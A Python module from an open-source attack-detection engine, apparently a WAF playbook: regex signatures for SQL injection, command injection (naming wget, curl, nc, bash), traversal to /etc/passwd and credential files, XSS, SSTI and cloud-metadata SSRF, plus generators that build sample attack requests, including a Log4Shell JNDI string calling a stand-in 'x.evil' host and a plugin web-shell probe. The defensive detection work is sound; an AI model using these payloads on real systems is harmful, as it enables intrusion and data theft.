DibaAi's picture
DibaGuard open release: licence-clean network models, runtime, docs (no HTTP model)
e02228b verified
Raw History Blame Contribute Delete
17.9 kB
"""Playbook: recent attack patterns (2024-2026) as behaviour signatures over what the engine already measures, each
with the family it maps to, the action the policy should take, and a synthetic generator used by the tests.
The engine's learned tiers find the unknown; the playbook makes sure the known shapes of today's attacks are named
precisely and answered with the right action, and that every one of them is exercised in the test suite.
| id | pattern | seen as | family |
|------|-------------------------------------------|----------------------------------------------------|------------|
| A01 | HTTP/2 Rapid Reset (CVE-2023-44487) | floods of request+cancel: huge request rate, tiny bytes, no replies, one host | dos |
| A02 | HTTP/2 CONTINUATION flood (2024) | long header streams: very large request bytes per request, rate | dos |
| A03 | L7 flood from a botnet / residential proxies| many new sources, same path, high rate per site, low per source | ddos |
| A04 | credential stuffing / password spraying | repeated POST to login from one source with 4xx, or many sources one path | bruteforce |
| A05 | AI / LLM scrapers and aggressive crawlers | one source walks many distinct paths at a steady cadence, bot UA or none | bot |
| A06 | API enumeration / BOLA (OWASP API1) | sequential ids on one endpoint, many 404/403 | scan |
| A07 | WordPress / CMS exploit waves (xmlrpc, plugin RCE, wp-login) | known paths with payloads; many hosts probed | webattack |
| A08 | JNDI / Log4Shell-style injection | ${jndi: patterns in any field | rce |
| A09 | reflection / amplification floods (DNS, NTP, SSDP, memcached) | UDP, huge bytes per packet to one destination, many spoofed sources | ddos |
| A10 | slow scans (nmap -T1, masscan spread) | ports walked over hours by one source | portscan |
| A11 | SSH / RDP brute force | same (host, port) again and again, short failed connects | bruteforce |
| A12 | chain: JSON-RPC abuse (eth_getLogs / debug_ / trace_ floods) | expensive methods at high rate from one client | dos |
| A13 | chain: peer / sybil flood (eclipse attempt) | many new peers from one prefix, connection churn | ddos |
| A14 | chain: mempool spam / dust | high rate of sendRawTransaction from one client | dos |
"""
from __future__ import annotations
import re
import numpy as np
from dibaguard.shield.rx import Gap, Sig
JNDI = re.compile(r"\$\{\s*(jndi|j\$\{|lower:j|upper:j|::-j)", re.I)
WP_PATHS = ("/xmlrpc.php", "/wp-login.php", "/wp-json/wp/v2/users", "/wp-content/plugins/", "/wp-admin/admin-ajax.php", "/?rest_route=")
# platform-agnostic request signatures (detection patterns in the spirit of the OWASP Core Rule Set). They fire on
# the decoded canonical request text, for any platform (WordPress, Joomla, Drupal, Laravel, Django, APIs, ...).
# Branches shaped "X .* Y" are rx.Gap matchers, not regex branches: on crafted input ("<a<a<a...", "../a../a...") a
# backtracking regex rescans the text from every X (seconds on 16 KB); a Gap gives the same answer in one pass. The Go
# fast path (go/dibaguard/sigs.go, RE2, linear by construction) keeps them as regex branches.
_I = re.I
SIGS = {
# comments between UNION and SELECT: only comments without '*' inside here (linear); the SQL view of the canonical
# text has every comment folded already (canon.views)
"A15": Sig(r"union(\s|/\*[^*]*\*/|\+)+(all(\s|\+)+)?select|\bor\s+\d+\s*=\s*\d+|'\s*or\s*'[^']*'\s*=\s*'|updatexml\s*\(|extractvalue\s*\("
r"|\bsleep\s*\(\s*\d|benchmark\s*\(|waitfor\s+delay|information_schema|load_file\s*\(|into\s+(out|dump)file|;\s*drop\s+table"
r"|pg_sleep\s*\(|'\s*;\s*--|'\s*--\s*-?(\s|$)", flags=_I),
"A16": Sig(r"[\"\[]\$(ne|gt|gte|lt|lte|where|regex|nin|exists|expr|function)[\"\]]?\s*[:=\]]", flags=_I),
"A17": Sig(r"(\.\./){2,}|(\.\.\\){2,}|/etc/(passwd|shadow|hosts)|/proc/self/(environ|cmdline)|win\.ini|boot\.ini"
r"|php://(filter|input)|file:///|expect://|zip://|phar://"
r"|\.\.[/\\](etc|proc|windows|winnt|\.ssh|\.git|\.aws)[/\\]",
# one step up is enough when it lands on a secret or a system directory: ..[/\][^|\s]*\.(env|...)\b
Gap([r"\.\.[/\\]", r"\.(env|ini|conf|config|cfg|yml|yaml|pem|key|bak|old|sql|db|sqlite|htpasswd|properties|git)\b"], r"[|\s]", _I),
flags=_I),
"A18": Sig(r"[;|&`]\s*(id|whoami|uname|printenv|hostname|env|ifconfig|ipconfig|netstat|nslookup|pwd|cat\s+/etc|wget\s|curl\s|nc\s|bash\s"
r"|sh\s+-c|powershell)\b(?!\s*=)|[;|&`]\s*(ls|ps)\s|\$\(\s*(id|whoami|uname|printenv|hostname)"
r"|\b(shell_exec|passthru|proc_open|popen)\s*\(|\b(system|exec|eval|assert)\s*\(\s*['\"$]|base64_decode\s*\("
r"|#post_render|#lazy_builder|#pre_render|connector\.minimal\.php|revslider/temp/update_extract|[?&]cmd=\w"
r"|\(\)\s*\{\s*:;\s*\}",
Gap([r"/cgi-bin/", r"(\.\.|%2e)"], None, _I), # /cgi-bin/.*(\.\.|%2e)
flags=_I),
"A19": Sig(r"<\s*script\b|\bon(error|load|mouseover|focus|toggle)\s*=|javascript\s*:|<\s*iframe\b|document\.cookie"
# right after a quote that closed an attribute (onpageshow, onfocusin ...)
r"|[\"']\s*/?\s*on[a-z]{3,}\s*=",
Gap([r"<\s*svg", r"\bon\w+\s*="], ">", _I), # <\s*svg[^>]*\bon\w+\s*=
# any event handler inside a tag; the HTML tokenizer also separates attributes with '/': <body/onpageshow=..>
# (V-04) # <\s*[a-z][^>]*[\s/]on[a-z]{3,}\s*=
Gap([r"<\s*[a-z]", r"[\s/]on[a-z]{3,}\s*="], ">", _I),
flags=_I),
"A20": Sig(r"\{\{\s*\d+\s*\*\s*\d+\s*\}\}|\$\{\s*\d+\s*\*\s*\d+\s*\}|<!entity|169\.254\.169\.254|metadata\.google\.internal"
r"|__class__|__globals__|\{%\s*(import|include)",
Gap([r"<!doctype", r"\["], ">", _I), # <!doctype[^>]*\[
flags=_I),
"A21": Sig(r"/\.git/|/\.env\b|/\.svn/|/\.htpasswd|/\.aws/credentials|wp-config\.php\.(bak|old|save|swp|orig|txt)|/server-status|/phpinfo\.php"
r"|/(backup|db|dump|database|site)\.(zip|tar|tar\.gz|tgz|sql|sql\.gz|7z)\b|/\.ds_store|/web\.config\.(bak|old)", flags=_I),
# AI crawlers that declare themselves (the site's policy decides: challenge by default, 'bot': 'monitor' to allow)
"A05": Sig(None, Gap([r"h:user-agent=", r"\b(gptbot|chatgpt-user|oai-searchbot|claudebot|claude-web|anthropic-ai|ccbot|bytespider|perplexitybot"
r"|amazonbot|meta-externalagent|diffbot|omgilibot|youbot|cohere-ai|imagesiftbot|timpibot|ai2bot)\b"], r"\|", _I)),
}
# A07 (CMS exploit wave): only clear exploit shapes, never ordinary WordPress endpoints (admin-ajax heartbeat, wp-json posts)
CMS_EXPLOIT = Sig(r"wp-file-manager/lib/php/connector|/wp-json/wp/v2/users/\d+",
Gap([r"/xmlrpc\.php", r"system\.multicall"], None, _I),
Gap([r"revslider", r"update_extract"], None, _I),
Gap([r"revslider", r"show_image", r"\.\."], None, _I),
Gap([r"/wp-admin/admin-ajax\.php", r"action=(revslider_show_image|duplicator_download)"], None, _I),
Gap([r"com_fields", r"list\[fullordering\]"], None, _I),
Gap([r"/user/register", r"element_parents", r"#value"], None, _I),
flags=_I)
EXPENSIVE_RPC = ("eth_getlogs", "debug_", "trace_", "eth_call", "eth_estimategas", "eth_sendrawtransaction")
PLAYBOOK = [
{"id": "A01", "name": "HTTP/2 Rapid Reset", "family": "dos", "action": "rate_limit", "where": "edge-waf,net-sensor",
"signature": "src_flows_h1 >= 200 and src_noreply_h1 > 0.8 and src_newport_h1 < 0.2 (one service hammered, nothing answered)"},
{"id": "A02", "name": "HTTP/2 CONTINUATION flood", "family": "dos", "action": "rate_limit", "where": "edge-waf",
"signature": "request header bytes >> site p99 at high rate from one source"},
{"id": "A03", "name": "L7 botnet flood", "family": "ddos", "action": "challenge", "where": "edge-waf,net-sensor",
"signature": "dst_newsrc_h1 > 0.5 and dst_flows_h1 >= 500: site pressure, many fresh sources, one path"},
{"id": "A04", "name": "credential stuffing", "family": "bruteforce", "action": "block", "where": "edge-waf",
"signature": "repeated POST to a login path from one source with failures (status >= 400) -> session stream repeat + short"},
{"id": "A05", "name": "AI scraper / aggressive crawler", "family": "bot", "action": "challenge", "where": "edge-waf",
"signature": "one source walks many distinct paths (newport share on the path hash high) at a steady cadence"},
{"id": "A06", "name": "API enumeration / BOLA", "family": "scan", "action": "challenge", "where": "edge-waf",
"signature": "sequential ids on one endpoint with 4xx -> session stream newport high + noreply high"},
{"id": "A07", "name": "WordPress / CMS exploit wave", "family": "webattack", "action": "block", "where": "edge-waf",
"signature": "known CMS paths with payloads; novelty high on a non-WordPress site"},
{"id": "A08", "name": "JNDI / Log4Shell", "family": "rce", "action": "block", "where": "edge-waf",
"signature": "${jndi: (and its obfuscations) anywhere in the request"},
{"id": "A09", "name": "reflection / amplification", "family": "ddos", "action": "rate_limit", "where": "net-sensor",
"signature": "UDP, large bytes per packet, one destination, many sources, dst_newsrc_h1 high"},
{"id": "A10", "name": "slow scan", "family": "portscan", "action": "block", "where": "net-sensor,host-firewall",
"signature": "src_newport_h3 > 0.5 with noreply/synonly over the 30-min horizon (evidence accumulates for hours)"},
{"id": "A11", "name": "SSH / RDP brute force", "family": "bruteforce", "action": "block", "where": "net-sensor,host-firewall",
"signature": "src_repeat_h2 > 0.6 with short / failed connects"},
{"id": "A12", "name": "chain RPC abuse", "family": "dos", "action": "rate_limit", "where": "chain-node",
"signature": "expensive methods (eth_getLogs, debug_*, trace_*) at high rate from one client"},
{"id": "A13", "name": "chain peer / sybil flood", "family": "ddos", "action": "block", "where": "chain-node,net-sensor",
"signature": "many new peers from one /24 with connection churn on the p2p port"},
{"id": "A14", "name": "chain mempool spam", "family": "dos", "action": "rate_limit", "where": "chain-node",
"signature": "eth_sendRawTransaction at high rate from one client, tiny values"},
{"id": "A15", "name": "SQL injection", "family": "sqli", "action": "block", "where": "edge-waf",
"signature": "UNION SELECT, boolean tautologies, error/time-based functions (updatexml, sleep, benchmark, pg_sleep), information_schema"},
{"id": "A16", "name": "NoSQL injection", "family": "nosqli", "action": "block", "where": "edge-waf",
"signature": "MongoDB operators ($ne, $gt, $where, $regex) in JSON bodies or query arrays"},
{"id": "A17", "name": "path traversal / LFI", "family": "traversal", "action": "block", "where": "edge-waf",
"signature": "../ chains, /etc/passwd, php://filter, file:// and other wrapper schemes"},
{"id": "A18", "name": "RCE / command injection", "family": "rce", "action": "block", "where": "edge-waf",
"signature": "shell metacharacters + commands, PHP exec functions, Drupalgeddon render arrays, plugin connector exploits, Shellshock"},
{"id": "A19", "name": "cross-site scripting", "family": "xss", "action": "block", "where": "edge-waf",
"signature": "<script>, event-handler attributes, javascript: URIs, SVG/iframe injection"},
{"id": "A20", "name": "SSTI / XXE / SSRF", "family": "ssti", "action": "block", "where": "edge-waf",
"signature": "{{7*7}} templates, <!ENTITY, cloud metadata endpoints (169.254.169.254), Python object traversal"},
{"id": "A21", "name": "sensitive file probe", "family": "scan", "action": "challenge", "where": "edge-waf",
"signature": "/.git/, /.env, config backups, database dumps, server-status, phpinfo"},
{"id": "A22", "name": "SQL injection (context analysis)", "family": "sqli", "action": "block", "where": "edge-waf",
"signature": "a parameter (query, body, cookie, header, or a key) that, decoded, breaks out of a numeric / string / parenthesised / "
"LIKE query context into a tautology, UNION extraction, stacked statement, time delay, error-based extractor, "
"scalar sub-query or comment cut - judged by the database tier (http/sqlctx.py)"},
]
BY_ID = {p["id"]: p for p in PLAYBOOK}
def match_http(text: str) -> list[str]:
"""request-level signatures that need no statistics; behaviours (floods, stuffing, scraping) are the engine's job.
Order = precedence of the family reported (the most specific / severe first)."""
out = []
if JNDI.search(text):
out.append("A08")
if CMS_EXPLOIT.search(text):
out.append("A07")
for pid in ("A18", "A15", "A16", "A20", "A17", "A19", "A21", "A05"):
if SIGS[pid].search(text):
out.append(pid)
return out
def match_rpc(method: str) -> list[str]:
m = method.lower()
if m.startswith("eth_sendrawtransaction"):
return ["A14"]
if any(m.startswith(e) for e in EXPENSIVE_RPC):
return ["A12"]
return []
def name_family(family: str) -> str:
"""which playbook entries a detected family corresponds to (for the report's 'what is this')"""
return ", ".join(p["id"] + " " + p["name"] for p in PLAYBOOK if p["family"] == family)
# ---------------------------------------------------------------- synthetic generators (tests + demos)
def gen_flows(kind: str, rng, t0: float, src: str = "6.6.6.6", n: int | None = None) -> dict:
"""flow records (engine FLOW_FIELDS) of one attack pattern, time-ordered"""
def rec(k, t, dst, dport, proto, bi, pi, bo, po, cf, sf, fl, dur):
return {"t": np.sort(t), "src": np.full(k, src), "dst": dst, "dport": dport, "proto": np.full(k, proto), "bytes_in": bi, "pkts_in": pi,
"bytes_out": bo, "pkts_out": po, "client_flags": np.full(k, cf), "server_flags": np.full(k, sf), "flags": np.full(k, fl), "duration_ms": dur}
hosts = [f"h{i}" for i in range(50)]
if kind == "A01": # rapid reset: 5000 request+cancel in 60 s at one host:443
k = n or 5000
return rec(k, rng.uniform(t0, t0 + 60, k), np.full(k, "h1"), np.full(k, 443), 6, np.full(k, 120), np.full(k, 2), np.full(k, 0), np.full(k, 0), 0x12, 0, 0x16, np.full(k, 2))
if kind == "A09": # amplification: UDP 123 to one victim from many spoofed sources, large replies
k = n or 4000
return {**rec(k, rng.uniform(t0, t0 + 120, k), np.full(k, "victim"), np.full(k, 123), 17, np.full(k, 1400), np.full(k, 1), np.full(k, 0), np.full(k, 0), 0, 0, 0, np.full(k, 1)),
"src": np.array([f"198.51.{rng.integers(0, 255)}.{rng.integers(1, 255)}" for _ in range(k)])}
if kind == "A10": # slow scan: 400 probes over 2 hours
k = n or 400
return rec(k, rng.uniform(t0, t0 + 7200, k), rng.choice(hosts, k), rng.integers(1, 65535, k), 6, np.full(k, 60), np.full(k, 1), np.full(k, 0), np.full(k, 0), 2, 0, 2, np.full(k, 1))
if kind == "A11": # ssh brute force: 900 logins in 5 min
k = n or 900
return rec(k, rng.uniform(t0, t0 + 300, k), np.full(k, "h1"), np.full(k, 22), 6, rng.integers(200, 400, k), rng.integers(5, 9, k), rng.integers(200, 400, k), rng.integers(5, 9, k), 27, 27, 31, rng.integers(50, 200, k))
if kind == "A13": # peer flood: 3000 connections to the p2p port from one /24
k = n or 3000
return {**rec(k, rng.uniform(t0, t0 + 600, k), np.full(k, "node"), np.full(k, 30303), 6, np.full(k, 300), np.full(k, 3), np.full(k, 100), np.full(k, 1), 0x12, 0x12, 0x16, rng.integers(5, 50, k)),
"src": np.array([f"203.0.113.{rng.integers(1, 255)}" for _ in range(k)])}
raise KeyError(kind)
def gen_http(kind: str, rng, n: int | None = None) -> list[dict]:
"""HTTP requests {text, client, status, t} of one pattern (canonical text as dibaguard.http.parse makes it)"""
if kind == "A04":
k = n or 300
return [{"text": f"post /login | b:user=admin | b:pass=pw{i} | h:user-agent=mozilla/5.0", "client": "9.9.9.9", "status": 401, "t": float(i)} for i in range(k)]
if kind == "A05":
k = n or 400
return [{"text": f"get /article/{rng.integers(1, 10**6)} | h:user-agent=gptbot/1.2", "client": "8.8.8.8", "status": 200, "t": 2.0 * i} for i in range(k)]
if kind == "A06":
k = n or 300
return [{"text": f"get /api/v1/users/{1000 + i}/orders | h:authorization=bearer x", "client": "7.7.7.7", "status": 403 if i % 3 else 200, "t": 0.5 * i} for i in range(k)]
if kind == "A07":
return [{"text": "post /xmlrpc.php | b:<methodcall><methodname>system.multicall</methodname> | h:user-agent=python-requests", "client": "5.5.5.5", "status": 200, "t": 0.0},
{"text": "get /wp-content/plugins/revslider/temp/update_extract/revslider/x.php?cmd=id | h:user-agent=curl", "client": "5.5.5.5", "status": 404, "t": 1.0}]
if kind == "A08":
return [{"text": "get / | h:user-agent=${jndi:ldap://x.evil/a} | h:x-api-version=${${lower:j}ndi:dns://y}", "client": "4.4.4.4", "status": 200, "t": 0.0}]
raise KeyError(kind)